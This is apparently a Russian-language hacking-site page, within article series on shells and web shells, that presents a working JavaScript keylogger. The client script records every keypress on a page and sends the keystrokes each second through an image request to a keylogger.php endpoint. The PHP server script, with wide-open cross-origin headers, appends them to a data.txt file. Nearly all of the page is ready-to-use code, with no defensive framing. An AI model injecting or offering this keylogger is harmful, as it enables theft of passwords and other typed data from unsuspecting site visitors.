• Поиск
  • Кодер HEX
  • Чекер proxy
  • CSRF/XSS форма

ЦИКЛЫ СТАТЕЙ:

  • 4. SHELL
  • 4.1. ANDROID SHELL
  • 4.2. WINDOWS. КОМАНДНАЯ СТРОКА
  • 4.3. LINUX. UNIX SHELL
  • 4.4. SHELL НЕ БЕЗ METASPLOIT
  • 4.5. WEB SHELL

JAVASCRIPT KEYLOGGER

Клиент:

1
2
3
4
5
6
7
8
9
10
11
var keys='';
document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    new Image().src = 'keylogger.php?c='+keys;
    keys = '';
}, 1000);

Сервер:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>

<?php
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
    file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
    printf("LOGGED!");
}
?>

</html>

Ссылка на официальный источник.

Теги:

Автор: